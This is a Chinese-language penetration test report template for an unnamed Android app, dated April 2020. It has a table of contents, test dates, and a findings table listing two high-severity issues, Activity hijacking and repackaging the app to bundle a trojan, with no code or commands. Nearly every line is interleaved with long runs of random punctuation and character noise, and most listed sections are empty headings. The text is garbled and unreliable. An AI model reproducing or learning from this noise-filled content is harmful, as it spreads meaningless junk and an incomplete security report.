+ g" R8 W c5 V' W, k7 I4 E
S- Z* |0 j: p. q! r 6 t9 j; v9 P9 q2 n; ]' k7 v
+ A! ]( a. q4 Q7 }
& ~; K% x1 M1 [$ e& W- J; f8 ^# @, I
" W3 b& o# ^- G# v6 c2 u
% k; [' @. @; g; r
! G) `- V5 c* @# Q h* C
0 K3 f. `, [" w" L8 C+ j5 W$ ~
4 U8 U3 ~1 S& q3 j* H
* r" o. Z1 j# ^+ \: x/ g* @1 R( `4 k, ^
文档编号:
. _) e2 y8 k7 D; B5 Z/ h! I( _
7 F' C) E$ E2 `. y5 p/ v
8 e. h- j* P/ Y9 Z& ]( m7 ]
/ j- A a" S3 I8 k2 k
, V: c9 ~' O) @' ]
- V C$ ~) I# T+ z ] + d3 a7 W) r7 ]' k
. u& w- N+ I6 r" s- m+ t$ N: ]
2 u Y" {# T7 W j( S
0 D/ P- q" P3 t# z P+ s Y & G4 c, y2 x- p
: b4 |" `/ m. N, ~
* G+ F, g0 G8 K2 `# h
3 x' ^; t2 x5 v1 u
/ ^2 o) @( l) ]4 R
) w' l" a( `/ e8 d) B. H/ f ; |2 K5 @) U# Z& S- R
j9 F A- ~2 X5 U; s5 _! ]9 M 4 f, z/ | b" q- `* b1 `% E
0 f' U" ^% s2 X7 p( n
: `, C4 f* T6 A* m$ _- n) u
7 B! @# o: k! Y" ~9 j v
2 D$ p% V' ?1 j ~( ?& D
$ _ k" w( p: _; {/ d
* [8 J8 O6 k# h; P8 b9 Y
- H V3 n! p! w5 _9 U
* _# C! g* E2 t0 } U1 g( [' y- T4 }2 L( `9 J( _
9 z. t! e3 @2 Z" W) N, P. U
1 }8 v/ u$ ?* z ; N1 Z- v/ C7 e1 L# j% u* K9 y
* e3 p; K- d6 Y9 ?( u0 k) X
7 Z; N. L, ?# G5 @8 B% k Q
- [- w1 n. N l4 p4 T8 s- E% Z
* f v: D$ T% y) j
" Q, s7 e- A- {# S! g. w 某某某APP渗透测试 % r2 o+ r9 U! I
% g$ Q2 e1 F9 P; D, ]/ O3 U
2 [$ ]# I5 L# }7 ^% k/ i+ z8 T
& |1 c& N/ n: K# f 7 L- z/ t9 T" X4 ^: A/ G" Y* k+ o
6 e5 k* E/ c4 V
" i4 @* g: `+ W* | ?
) J' t H# ~' J+ @" {& K
" @& Z2 f& Q7 ^3 r) m4 b; d+ L7 w
9 h& j3 P7 y8 U. H4 f1 I 5 x4 E i5 s. U
8 p7 o( \$ |6 M3 W: A
1 K9 n, `- f6 m2 \: G& {8 Z# J" v N2 O+ A
2 ^8 F8 R' F, t( `( {7 Z8 C. A
" c% I' U' s2 N8 s! f$ U* O
, s( s" X2 s* K$ {! b) t6 R8 g$ l) t9 \" @
, Q) M( V% E, h1 Y5 j8 V& [( M( J" ^8 D2 T- l" f$ ?
5 ]0 ~0 k1 ^( C+ J# v/ O2 f9 y2 T& Y; s$ X' k: [+ @ a2 O. {
; a4 S) U* H" B8 p9 j3 Y' n
) g/ x% e C3 @/ B* z0 R8 a , v6 J6 ]+ T( j% l
& n4 E! u# G( ?- j" X9 Q4 W
, _5 n9 S% f7 k# O: b
1 B+ O6 T9 T* q _8 {/ X) V
7 ~, G9 s E' }& E( ^& Z
* B7 a, @6 e! T" D( ?9 { 技 术 报 告 " U4 h9 w6 ` m* P# w9 T6 s. e
. o# N1 G: y" b& Q
: d5 v0 o8 |1 ^, y$ u9 [3 A
$ L+ E3 ~. Y1 Z6 }6 I# Y: U , i- s8 ?0 \* ?5 |& ?
" x" t3 Y2 w7 \. m( L0 h( e# e* b j
& M0 K+ F& T1 ^* E* L
$ J: A2 d0 a$ z0 S2 K
! W; o j6 j. I
6 F E# T- R& U- ?0 v L ! n: k1 {/ b' W0 ~+ m
) U$ R( d8 M' p: u: V7 i0 h
% k5 q: v* y: g/ v1 D4 A; ^& L: i) c( |
1 I1 }/ {6 I' _ D* F4 v
! V8 F* Y# B N m. a * X: _- h6 K& j+ i
" o! g+ n' K/ }- U. P3 H
/ C. f; P" F0 I6 H6 F0 c9 z4 \
. u& w, y7 D0 o( }- Y
7 o; X# K4 v" T% Y+ t4 |
( ]) }2 \( R. ` Q/ z$ ]# z
. n* A' k3 i9 b" @( V' S* F; d9 D3 A; a- H( c, U) o& F- V: y
% }3 e8 a; P2 k0 V) v
; _' g, i. T/ R! z4 E# u: X
& ^" B0 o" i2 ]+ K8 E
. N( \( M& t" P* {$ m R( t
9 Y- K) {/ u$ C5 L* I9 G. V$ c
! \6 t; M/ V: ^4 C$ Z, A8 ?6 p
! V/ y M' t9 a9 d. A
! ^5 L2 I$ {% k/ i" t, ?( ?: X% l
( _: H9 L! }% o1 D \& k* {5 ]6 ^$ ]
# A6 O+ Y9 R2 r) R% O2 A. K
) b9 o8 C4 f1 s
. q+ c# v: g! g! g. Y! M6 Z* {- n% X
; B% [4 M# c; F# h+ c
$ k! b! U) Y8 N8 a6 a ) ^6 s% \, U( b5 K" C& i5 n. m
0 g+ b( X! p L6 P
; `8 d" A; v% P+ i3 p
% D7 \1 {4 s: T0 |" H$ j6 Y# c8 q
% M. T3 h c* U) F$ g2 D' Q5 ~' k
0 ~' v- m5 Z# l! i- Z5 ?
; C; O( s4 G5 @$ V' k! z+ p- N- x/ v
( g" q& l0 ]' w$ N
0 F: {1 z7 C" g/ M% A
( g! K6 m# b' M+ ~$ Y
+ W. D3 Q! b- |8 v5 s7 E
( v2 L$ q5 v8 o4 b# B
& M7 c, M9 T* ~' J/ t2 {* L
! {- \: I* ]" n, X2 ]
3 K. T, b4 v* b- w* ~- r; Z& V" @. m5 c F
, r3 n" I! i- E2 p# N7 v6 t
7 G* s7 I" G7 g6 n( d8 o1 H/ |
9 C0 c" z! {9 X, v+ U3 Q' [8 i# O5 H/ j2 j' _3 t: @' q9 g
5 v9 h. @, {0 t
+ V5 P/ m m* E/ t% w) A
* R6 Z+ s L1 S U( I8 y7 n3 H9 c, K H1 o' N
6 z$ e: s# f' U/ z/ y$ _% g; j5 l1 y
/ y& u1 K) Q- z/ G3 V! b% {) t' R. }7 Z" p7 f) ~5 Q$ v9 U) X n
/ h" l$ G/ w& Y9 T( U
" W$ a. [7 ]) G* z1 R6 n
- [+ D1 i) i$ z+ M, K' u- E
% G6 g( h1 f4 X# U. A% l
; T0 U) }" Z) {& E6 o) x- c' p/ K1 k Z
4 p$ Z( F: O: ?! g3 Y4 B) k0 v+ g3 e
7 f b7 r, A- d" h E" n
, s( u, [5 W, Z* V) W* |5 T; v* ^0 v$ n
! D7 ?& T1 @6 C' c$ x R0 |" T
! i" l! y2 m8 C2 O4 W' `
$ a7 P2 g" {; y6 [4 [
( H& ]8 F" D5 |* ?+ x; d0 i( z
' c) \6 D1 L2 x. X9 W' P! K3 I( {4 i$ W/ B3 H
( K1 k1 i( w- y/ w5 T: @* ]: a
. i; N7 U8 Q" x
* K6 K% u" c; m& Q2 g
+ l$ `4 R1 O2 h6 L+ P/ a
! }4 b- R. _( L1 z
! \4 M0 z3 h3 D9 b, d; I! @ % g& W! T$ x% ?3 P2 O j
2 Q, |% Y. `8 h2 h; ^! M
. k5 d$ G2 S% d
( k6 y- c& ]% H$ e' \ ) t7 Q$ i) e) \3 E' W! C- j6 j
. B% d6 @6 A# `2 ]! _, [- A
6 ^4 Y' X# ?1 h$ o$ {. o, _0 m8 q$ q7 g" v# Z" k
, ` z2 k3 D E! _% X/ W. m
) r- l H9 }& ?2 ` # ?/ ^3 m4 K3 Y
' m0 U5 m5 o3 Q4 v
) C1 @* O+ J% x
" m4 l4 _9 b8 m( z! D3 {
+ O4 H' |- I/ K( E* e1 K1 i! D6 P4 w- s, l& `
6 P& i" Y5 G& b- q1 O- D9 n# L A: o( j1 u$ N0 O! X
/ r, ]* \: Z; A) s) [# E! q# a) j1 |! n5 }
" a) H0 T0 g) @7 e( [' k0 o
: T5 ~6 ~( O, d+ \& c I- R6 o2 G$ N7 j
2 E2 Z& n$ E$ m: w4 R: u* L/ S4 t8 V# X% ~6 T h L H3 F; I
二〇二〇年 4 I' N) K8 m1 v# Z( z: u: e
# D7 s$ l1 F' R, I7 w
! L0 R) |4 ^5 V. L$ |
) G4 b2 N" l9 N% h2 N g5 ~0 _
, A0 G: G! T4 i
. }6 W3 t- h# o5 ~( h; Z3 P, J
% i( ~6 b8 w" Y+ d( |
: Z0 z+ i- _6 K6 j
! I8 R; e& G h+ L$ ~3 P" W6 l
6 w; d) G; h/ M4 }+ M; }9 A6 X# ~
' h$ {# a$ o4 v5 m8 q" G6 m
7 Y) `( ~5 H b: S5 g" z& k. ~/ y
3 ~# ]! A% C5 u2 }" T1 g5 C* F; D& b1 z& E6 ]
7 N4 v) w$ L4 s& v2 e0 K1 R- U4 ~0 v; U3 c% B- s
: v- ]! Q# Y- e7 s3 |5 V d) a8 o- g: s8 p. C
4 r4 A% [0 T4 Z8 R2 s7 i! E
% U9 X- }& {# ]% C ) r ?. u9 r g. O* |3 v
6 F/ u8 K1 I" ]5 t8 r 目 录
% W6 G. w7 E4 J) w
6 i6 s% j' M6 s( c
+ k' r: Q+ B2 R$ \
3 W# h- i# p" z) A* y$ ?
4 z' X* }6 }: @/ X- r# q9 j( v( R6 I2 z
$ p6 f8 I: G- Z
$ |6 R' z s. O9 l 0 p, p6 y. E4 K E# A2 R
) x+ N/ \+ Q2 K1 b% w* f, |
- E" N3 s( m5 [. s' O7 h, ^7 P+ d
: i7 r8 F, Q |$ @$ `( P4 O4 k! Z- C+ m; I
1 概述... 3
: X+ e% l. {, L5 {8 |
$ g; i2 H( M6 X9 U9 w
/ Q9 F( C( m" w+ X
0 M( U i9 a( n 4 d ^2 ^9 e, o: A
0 K/ a' Y' Z' q: T. o
1.2测试时间... 3 q( d# X2 x4 V6 u! ]1 D/ @' V* q
5 r( C' m# j3 |# m" F2 B5 c
9 {8 j8 ]0 _ E* J; ~# a: l# Q4 C, B9 U3 `( \$ J
1 B4 Z/ F- l7 D1 \# d
( Y4 q1 M. ?$ l6 @1 r
1.3测试对象... 3 : ?9 C; O& w7 ^6 i
$ k+ K) z+ }% t( L% I( c3 i
7 @2 b- e" R% ^7 @+ @, `! S' s$ H: H3 L" w2 H5 e" J" Z
6 n- n: b7 `/ W) ]# {* X
3 ~+ [3 v) L: _3 f, j0 @9 E, Y6 m
1.4测试结果... 3
7 _+ i" u) e2 \, D/ s8 r4 G A" m4 J
3 i8 N \0 R* o1 V, D
: O* u; v1 H- z. v5 g
, _; h' h; ^5 j# _* ]4 N7 u0 ?
, `/ C) G6 ^5 b+ j% Z* \ 2 检测结果... 4
) a3 o. T' B! t
, C) G! U' f$ O+ i4 o* o+ Z7 f
3 D' B. w' |/ R8 G8 E
; U0 N4 i4 q' v8 H/ `, C " T# s8 `% a5 m5 \7 C8 z
3 N- K5 D& T( r+ ]8 x c) ` 2.1 某某某... 4 U% r) c$ x( a0 y" A9 b! {& \
) i/ w1 t/ ?) v. n# W. K! w( s
3 f2 {2 Q5 c9 c* r" d; Z$ N2 _2 g: n8 ?# f% G* Y5 S
$ f' Q6 p) k, g) Z( l `- {
+ G: F/ e0 `8 e t; n$ q2 f
2.1.1检测目标... 4
3 Q4 B4 ]! X9 r7 y6 ~0 @
, `& X7 n8 O- p+ h: L$ Q, ~
2 ~, L9 s9 I8 w$ W! M7 E, x
4 i' v% H2 {, e p/ \/ [
4 |+ @* t8 X# F" g# `( E6 I* X& g% r4 s
2.1.2检测结果... 4
9 D/ i2 V7 c4 p. M* N) a7 f7 @" R* {1 l( J U1 x) N. v
/ L0 r/ O/ [! Q J- E6 i! I
4 c! K) @" |) K2 C. p 2 G9 Y# B6 _$ x2 _2 G
4 a8 ?- B0 v3 \! O) x. {- w* ~ 2.1.2.1. 4 . T9 j& x5 n7 f; b2 o
% @& c; h: e' B$ Y. y$ ?
0 g7 ?1 F& g' @, B
0 ^8 R: |. U6 ?2 n
+ s; a# D5 L: n% s z, M
- c0 J# G/ B+ a/ g 2.1.2.2. 6 $ z, y. g6 j( F& U2 w$ L, Z
1 L; V# ]" ^( i" x0 c
4 f% m+ j4 H% f
: Y* k7 r& e/ x0 y& w _
$ e; S# w6 y+ a+ H0 D) t! K
4 ]3 `2 _1 s4 w7 E5 W; o
3 b" ?9 v: {$ U+ |
) X4 B2 B) w2 |
3 A0 X2 i1 Q6 l0 u$ {1 n
9 h! Z ^" K8 C1 X. P* U+ d8 m
0 H8 n2 K' h% o& C
/ [5 b8 X0 T# T( n) ?8 ~& X, b& Y# P r ( }5 O3 p) n! g& z3 v( R
9 d+ F4 [" K2 K- a; _& D: K- o& z5 @
/ k3 [" W% k& V' W! t
" q+ S" \) X3 z
) C! o$ Y7 f; l+ H' c5 w7 c* H7 M' S) k! Z$ {; W$ f7 W
. G' v; q3 @' t: W# D9 ?0 K
0 z' |# Y8 w1 n7 E5 q" S
1 概述 3 Q1 G6 x2 y- @- x: _* d
' A6 }1 G( d) A4 m+ r; I1 H0 A2 g/ o
6 `) r% X! d% f" _
! d, c: X; ]# G8 X& m
& E: j! w' f8 F/ S/ ^' c) N
7 C& Q/ \# a1 o- l! |" U: N; I 1.2测试时间
4 E: s0 l7 C9 c" C8 W& G( V7 ~' a8 X9 C5 H$ a
* }9 }3 S4 H9 v7 R) B' T
9 P9 a+ @" [/ c% \, y8 B
G+ K/ f. W& U; c
, d X j7 A- c7 Z
$ h; ]! A5 h+ A" c" s
8 R9 C! f3 l# [( P & M+ R4 d, n5 B2 j6 v
3 W/ s! _6 a) x. H
| & U5 n9 W. W& K; I
+ a1 ^+ i/ I( B1 f6 G * g$ B2 e0 W2 \! {/ P0 s
; @1 `: z$ R0 d% ?) C. y 渗透测试时间
- e3 p" a2 H1 S+ O/ z1 u
J v; }' S9 f7 y& t8 \
, T1 q. g5 H' O5 g" e X$ N
0 o6 N" e% u0 D | : Y' W( E. W; j$ x
2 m6 g) K$ l; u0 u0 E
- f$ Z% a( M6 s6 ~# a# k* A% n0 y0 ?$ o4 n3 q) G, F! v
/ T' [& N$ A! g
; R6 x! e$ Q' a# L; {
|
; E& E1 f0 C9 C1 V" s' ^: M1 M9 {' f
2 u$ E' V4 f, p7 ~. F
/ H; X& P9 ?. G' H" l! t2 r 起始时间 7 V% }( n- b7 i
- a9 W( F* Z2 G- m6 ~" A. }$ V
3 d* Q( l! s& q M2 S- K& E
7 x0 L+ B6 e7 ~3 f" [/ x3 ~9 e | * ~& A$ r) R! R, I* e; {3 g' D. e
( }. {! B" O) S : L: K5 r, v3 H2 m
2 d% V* [" y$ T& x! e" c' G
9 r! \; W! [6 l3 P. w2 q; T
, _0 ~9 ^% R7 @- z- L 2020年4月6日
( S6 Y5 a% Z( n0 j( H( n7 Z5 V) N/ z4 }; u
* X1 [6 W5 ?+ d5 Y. @, A
. M: q |8 Y) d0 y1 y
|
- W4 X/ P* y7 u
* Y% ~- Q! J1 B; T3 ?
: t+ m, ~( M7 r, p
/ A' L& Y1 B* d; \% o6 D! O! a$ c3 X
/ }" y' Q/ ^) ^+ { T) N( ^) f! J& X4 t2 S3 h7 A. d y7 g; F
| 1 |& e$ |& I8 U. u
: }0 x8 X$ ?) B/ S0 D" M( ^( }5 H% n5 r 9 `9 \+ U( Y+ v8 O* `$ f
1 e* m/ ^. t! T" H
结束时间 1 B& U' ^+ u9 b4 |7 W; j% F, U2 B2 i
4 l) Q5 d9 A( Y! X
Z* N" W* k q, G9 {
1 b6 d: O: I3 ]. v% y3 R9 H2 K6 P% { | . X% F# t4 P7 l% K: M" |1 U
6 N; p4 Q1 r# ~0 g* s6 H3 D
( U1 T+ s# f- u) m+ ~# u& r. Y
' S; X% |$ q: z2 e; v0 `
5 u) c$ D8 |* {0 X* C5 C
2020年4月9日 7 B f' [; O4 _) Z9 B, f7 J
6 n% B* O8 K+ q B0 i4 S
5 p& l# y5 o! A" |3 D# g
: }+ F. g7 ~( P. L- F! ~
|
9 F" A& D. k U, I
( e% T% ]5 ]% Q2 Y0 a
- L% C3 w! G9 Y. |9 u* N4 E; ~0 `* b- G
) W7 d" f$ l0 `. ?/ e1 c4 U+ A2 E8 `/ K9 `
+ Z& N! s' O6 c o& I
( S9 Q A' o6 q1 R4 L* h1 S
: _+ q% _3 F+ D9 U; j9 |+ \* q) m0 _2 v0 y3 \9 y0 \- G' J
1.3测试对象
2 r; h: a( d% L f. }; s* k; h$ r- Z' K
; Q5 f( |' v; B& k0 w- ~( @+ o
. T7 v3 m5 R. J7 x( T
" k; g) Y* u2 R3 A: p( i3 S
+ W5 v: g' f+ w( a6 z4 b
1 H. Q: K" ]# W2 v 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: % z4 O k* G5 j
" J/ Y6 J; s7 Y. h2 a$ K4 W
, a) |/ i% c0 i
9 Z# @# M! y8 r& a# \
& [4 _) ~1 U, ]6 `
3 J7 ]$ b! M/ r3 `
表1-1 检测对象 . D4 E o) C S
9 {% Q$ Q, T$ g. R. j' j8 q
8 y& t) @0 X2 U) `
- A3 R9 N9 ~! O# J3 ]$ c @ ( x7 R! Y* |# a& l9 ]* k
! F3 s7 T7 i) T/ m
* t. o' u( z w R m1 r0 j0 z- Q# S
0 @9 m" C/ s, s' v0 L ' f1 P) _, q0 T+ \8 L6 k
* y9 d8 p6 j+ P* v; [5 P/ o+ _" d$ G
|
a2 _% X9 e1 Q/ B
( s: d+ V( W3 x( ~ k , X( e/ e+ K3 |+ s- q" H& z# b4 [% u$ n. T
4 M9 B" j! f# [8 f 序号 1 P& l2 Q2 ]% k. b# H: ~# J/ p
9 Y" a% E9 W$ m( L$ ]* f1 m
9 f. M$ f( Y, G7 l
0 C9 L. I2 r8 ^0 u9 M/ N0 J* j! F |
s4 I7 ]0 p* N& U
/ [, Y% _) q9 I& F2 q
$ @% T8 u3 s- L! b) l" T; d3 `; Q6 E0 ?. v+ I; k O' j
( i0 \9 Y4 ]! t5 A; m' Z/ v1 n
/ m9 ^9 p! m# D 测试对象
c6 n% v" |) S8 N3 l+ H
" [! w' }) n# m$ Z# w' p
7 U5 s# g! o: Y$ n% n5 L" ~9 r6 U9 N" X7 K+ V% ? z
|
# i. A% f! o! s' q4 y; P9 x
: A2 a8 k1 j5 o
' b9 i7 @4 v- a" |( J+ v- b( b8 T1 X7 k- d5 a5 f# Z7 @* j
4 S; Y. X1 ~- s) ^7 y& G% j9 F
) c" M9 l& e- `: t: o5 B2 M6 S; ? 测试地址 - Y6 h! ]4 z" J1 G/ B" x
8 @! ^( f! i3 {+ H [$ r
5 P1 \6 J) j3 `: g
. \/ R" u t Z- |9 G7 S | B) G* H" Z. h- v
* _- C, T1 J9 P: h3 d
2 ]' g2 i+ s+ N$ O( e2 Q. n! g& [
- ^4 [7 F5 G. e" V. o 2 B& s+ U2 h* l- k3 ]0 s: h
8 f9 U! P- W; t* U1 K Q
安全漏洞 6 e7 t- a, `) O: m* r
: h, |. ~& s7 x9 m
. h* y& Z. t$ W# e6 x9 y$ A5 `4 H
3 D/ G) Y, L; n l | 3 F9 w% G; [+ Y+ v/ [1 V
/ h$ @: s/ ]3 O
, {$ _+ a, q/ }8 u; K5 n! N' N, K5 o/ i, G
* ^4 P: ~) A$ P6 y6 N4 n1 r
& E ?- H- |: {% h2 Z8 G
| 3 [4 a' R" W' P$ n9 ^2 ~0 o9 n/ M
- |8 a* r# v, t$ T& K$ v4 b% l
- L2 u. A9 O1 |& n" L& _( w! b- L7 c6 e! ?9 W7 T# F- M
1
) Y. f6 S& }2 V2 h; X4 }8 D/ x
# `7 ]- i& v* O3 [, S & D) H0 N$ u N: _% C
5 I2 J( O, U! a' u2 I0 r |
# O' H* `! ?9 Q5 `5 I" {. E% I2 \) t% t6 R4 U9 l- Z
! R3 }+ [0 j3 R2 ^1 q: ]% E: T3 B. O5 m$ A; }: p
I1 ]/ n2 ?9 Q* ]/ n8 V3 ~; k( i2 ^9 s$ U1 k _$ v
某某某安卓APP
2 y) `5 j: j* W8 \. K* s' p t& R3 X/ F) i: e7 p
3 u" o: V& ]0 E9 ~# z) t% G v3 m+ ^
| % l! X0 Q$ C" z3 L6 J, j. O+ c
, N& Z% T' L9 V7 z % a. z( Y: B: I8 n
- H; z- Z; \3 H9 G! `2 T 8 Z! Q) C6 a2 M0 G/ S# b
# |! V6 A$ D- }+ S# M6 @
. t4 W Q* v+ E6 a% y. C, A6 ?* f% R+ @+ h
$ F8 q$ I* h7 w; j C/ e( m* e" y% Z' Y# D
/ f* l' `6 F9 A2 A' z+ j |
8 n; `# C- A2 Q. m$ x, t7 I1 C* O! u
1 h- w; R! w& J2 I4 o, [5 m2 E( ^7 i; O( Z8 g9 P- D7 C) e
7 g+ g" R7 @% L! _
; l' X# }0 `2 A! w- H 2
3 B6 l# D7 p2 v3 M6 ^; [. y8 e2 r' }4 q, L: D& e
0 K, y! h' R% }/ W' F' o& ?" k- u5 l$ C% |
| 3 v* l& W$ l6 ~( e+ P- G% |
$ B7 C7 {' G0 r/ p' F! L
! ~5 V! O5 P- C: }; ?" r5 _$ r1 i6 b' N( C6 R0 r9 p% w
, r! o F; I1 q
* M( F- `* \; e& P* b
. C3 s3 P% R" R% K
1 b, f+ u5 ~) @% |
) {3 ?! `3 U# {' D9 z7 Y7 o
B& Z0 R* z' o4 ^. Z, V7 m 1.4测试结果 ; ?0 q5 `& i Y \6 ~5 I
# G7 `0 C8 l; O+ Z, w2 k& ~
. Z* c. b2 m' W9 s
s2 W2 J) p0 y
/ ?8 t# \: `, [# [% T7 |8 k& q0 q
6 `, n- V; s4 Z( X! m 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: $ s" u3 o; }+ Q z2 x6 O
9 i2 `0 F; h# F
5 z: M/ J5 R+ Z8 v i
" J: E7 Q9 r; T2 J+ F3 j ' h, j0 ]) N4 m1 k8 G% i& ~/ ^
! n4 `0 H2 \7 j/ u ( C: ~# A& q, T" Y. `; a1 q J1 J r$ W
6 I5 e* e; O3 N" ?, t2 _' N4 A
3 `+ _1 k' |3 R4 g1 e9 U
* v1 C3 p" h. Q
8 b( L: |. J4 Q9 D% \+ `, M3 i; h) o; @% I4 V" ~9 ~: S
9 Z+ n! `! Z4 _( Z8 x
( t @$ G6 m3 r- W " P2 c) H* d, a' N
* @6 F# ?/ B- ^5 q( e7 G3 f
4 K- x4 f7 c$ x/ \+ B) t0 v$ z% Y; j. C9 E: f6 i
|
5 \) o' w( \' H' G; V5 o5 e# d
1 f& X& x, L* ^* h4 F , b8 [/ F/ H/ r, Q% |+ j
( k2 M p- x T
序号
7 x" n1 b) w# P2 ^8 l1 a& ^( z# ]9 R# u' y
; I( K) @: m+ f8 C5 K' Q) z
) n. \ L# \1 u. m/ `
|
, H# y9 G& G: t
6 N$ n# r9 D8 W0 e' J/ R4 h1 |
2 r: o- A1 L" H2 y2 d
/ t. \; Y9 ?7 O$ n9 V9 ]* S; E ; M; Q' t1 G5 l! R5 z
5 r) ~- t* J( Z; R m& t& ~# |: [, q
系统名称
7 Z2 ? q0 J) t# \1 k$ S7 P, k9 }, I
7 s6 I2 P' p: u
+ {- i% C9 L0 L0 A5 B+ J
6 @2 |/ c4 c# `/ ~) M2 \ | 7 c* K. i, O4 ~5 E o" f- S y% b, I
6 R I' K+ ?$ v$ m: }. Q
+ Z+ _. K' L9 W2 M" U6 |
/ x* T- |% h/ B. q p4 i - @8 k, G* C1 ?* b {
) r0 v Z6 K% [& l3 Z
漏洞名称 - m/ ]0 @% m+ Y. V* E
P- D$ _# y) K0 L; ~
2 h0 I& d R$ I. | c6 _2 N9 z/ p4 m& k: m; }
|
" C& Q' ?, ]7 v8 u6 I; v3 k+ z& J$ C4 ~: m' S! r1 W5 p" h' n
0 K4 K, f) m4 p1 w: V* t0 C
- i: n: H5 z: F+ W& g0 u* T ' g0 e [+ D* ~& L R4 s
' x( i( E5 {2 z5 s* \ 漏洞危害 . H/ ]. G% ?' `' f
1 o0 j. _" R- y: q7 t2 h* ?: @
! l2 n! f% G. m9 U5 }9 l9 [: C& H0 T$ X- F
| 9 t c0 P. s$ ~4 ~# L' k1 |
% ?/ \ `* x4 X 4 R: }- B$ }/ V9 U$ m
[' ~9 ~5 T! U; z4 C$ ^
" d- b9 O. h6 T7 \
& Y8 ?4 ?, Q9 h. O 修复结果
8 f& I9 U; Q& A
( W) u! G' `0 o0 f1 w7 K& f( b9 H
# d! I: k/ i2 [( @, J+ ?
, J) v/ {8 i, ]5 L. v. W |
9 A$ J/ A# V# t! ~0 K
" a+ l2 g4 y( _& E! F
: u( O2 @" M4 K3 G
! f; F1 P; I/ k: B5 S3 x5 c: r8 @
3 X8 k" L- @2 c" Z0 b* o7 i0 f0 l1 h% h- }2 ?
|
1 R. |% r3 P' j; d
2 m( s- K1 r( n$ Y+ M( v/ l' m
j1 F# b, z& t" r/ L) {5 j$ w" a' s$ P) E; ]; h) s$ N5 X$ }
1
7 C/ B, p, D# d
& r- U: G+ @* I 8 E5 K b! X5 ?" H0 W" L' u$ Z" C
* L) G1 f4 `4 d' u
| / C/ B+ `7 Z, k! j
& h+ l; |+ n' u0 I: f- [) V4 t
9 c% O0 k7 B5 Q9 s
" f+ X0 H+ {! p: k$ ] ' z) \2 x, L# Z S% I! E0 Y9 F
. L( [5 s" L4 X+ ~( d- G' E 某某某某某某APP 8 b0 D* q& N; u b$ s0 i2 }
" o# j! r; T6 w: t: S; Z( G. u
4 e7 a( H" u- V2 a
+ X. i) C0 F: K3 b6 [* W6 V |
6 M9 O( l4 [) `9 E: f- v/ s8 `9 Y2 y, f$ ^
5 f R6 e% }1 S# \
) z. K6 s, U1 Y4 K- Y5 X
) ~. I+ B( R8 c: ~+ c, \' R
1 h: B) F2 h; G
Activity 劫持
: r& u2 g+ H( p1 P, @) X. [/ K' l
" C$ K6 z8 l9 @0 V0 d3 v1 n 1 I0 G- l( u9 h, H8 }+ k* ?9 ^
4 ?6 C8 b8 b: v% Q4 Y% e 2 [4 r2 P; p4 Y2 x
- }8 c8 g3 l- k/ i* @ , j$ M+ A0 |* P% Q: f
5 e, V$ l; U( W9 J4 r( s2 {
- V) @$ a8 {( A3 r
2 \& x) \) n3 [0 G+ F | 1 g0 I7 F" X5 B; ?1 Q+ ^
& m" l B9 p2 c1 ]& N: [& i % P. o0 o/ }- m
4 x B2 [" j3 V6 D
$ T" u& i; K' L+ u) q
9 }, T* d) K% z& F4 w, b# N 高
" N7 G& D8 K; x) U2 b. [' m; j" o3 n; @
# _( x6 e6 h1 d9 l E( k
$ g$ U5 _5 G4 W) N5 K4 D8 N
|
' ^, N0 j! l5 D5 V( [' j7 ^& U0 v* D* k, k7 m" j* F Z
6 W# I- }# l1 A
6 t6 a4 u* |+ K' E
' l! x3 \( c8 s0 M
" u+ @ W2 M5 X! e" {4 P( M' Z $ [2 ~+ o7 `, j3 F) x
/ X6 o' @9 J6 m3 L
f/ q8 Q5 F1 c& a1 L4 A# J- b
" s) Z3 b1 k+ \9 i& q! E+ q |
6 C! U' w' y; ]) r- A7 u& ^& B$ ?) s$ e/ A
6 y2 H3 X+ M' h4 _+ M. M$ U2 _
) e' } `2 J" e$ A+ ^- @: P
. g2 `9 W! T4 s; t# ~% P" M/ H m& h5 j' F
|
# c6 r, q5 E6 {4 j0 F( M+ E9 {% i
3 S4 f" {; l2 y
4 C; e! p0 j) i4 ?! z- ^
0 A$ P8 m% V3 t 2
V F* f3 g1 K$ F6 x
) n. c+ }: ^" k; O; y% I
8 k5 y7 F" d7 ?/ G& P# \( \% T
| 1 g& x$ u( N/ Z- m- j. I: Q3 K
& G% g- @" @; b5 C- X: ?, E
* M# h2 G' ]: }' n4 b7 y. J M: j5 n
}& \ T5 {4 B! @& p1 r# K, C
) C8 @& u# r( N% i 某某某某某某APP
* g% A) y# D# |" Z
" u# f0 C5 R& V8 P1 g5 k( { : c- y, _; o9 Z6 T" d/ k0 |% a
/ @$ n/ K8 ?+ J% _, A8 v | 9 Z/ ~8 `& M: E
: ^5 T/ q3 z! b( N0 ]
( o7 r- p- C9 J3 B
: o |5 Z# ?2 j0 |7 G
9 c1 ] P3 u/ @# W/ g- V) a3 m4 K# @( A. O$ n
反编译二次打包捆绑木马、篡改APP代码
- ^+ D& Q i" X4 G3 U1 o) P# m
. d, |% H, S }( n
* k# Y |0 G s; a- e) E9 G7 \6 V0 J7 B2 M# o
| - F- d( H2 h! h! g3 I# w% l: b3 c- p
N" ?0 H/ z8 v9 @4 l) T+ G. g
* U7 z4 @/ L& D4 ^2 Z8 F2 H. x. O
8 _# Q& Z5 N+ C& [* R
0 s' F$ h8 _$ t' f
1 K+ g% X* u: M2 e 高
; ~: s) T% f$ S
8 y# t7 S" j( Y! u . E3 P) F2 g7 j
! e; ?: P7 ^3 m' S* F- D( Q9 ~ | ! a, U8 C% E7 ?0 p# ^9 b
( w ?" p- c0 ?4 Z9 z; X$ e: ~
7 Q" O- I/ h/ v
; L6 {0 ]. {' ~4 E; q: ]( H
! j) X9 c4 k" t
1 u- k9 G$ O+ Q! N " K5 D; G, h$ E Q1 x R; Q
' C4 T# v1 `+ p$ R3 ^: }$ \
8 o+ f6 j- N* R$ Z8 ?: A
, z# e) i4 y2 d1 L" e! W/ m: N
| " t# V. Y' P7 |9 K$ m2 b
8 C) \, ~5 ^" ~6 K8 _% t( U
( F3 {7 X2 E+ X. }" ^
& Q! b6 \/ l$ X5 s3 E8 Y
1 E* m/ ~) Z3 T" v6 ]: U+ [" O4 W+ G
0 S ?, P8 C- u$ b" p8 o0 O
" f1 B/ J, T3 }: q6 W* H$ q ^ # t2 I% a4 |& g5 ^
' ?9 C+ x: _9 A5 {! J
0 K. [9 j' r! H$ F _8 @- P
- P3 n) ?; b% X h. w2 i
' o6 n' `3 H+ j' O* I* g, _% j/ [; r! X% W
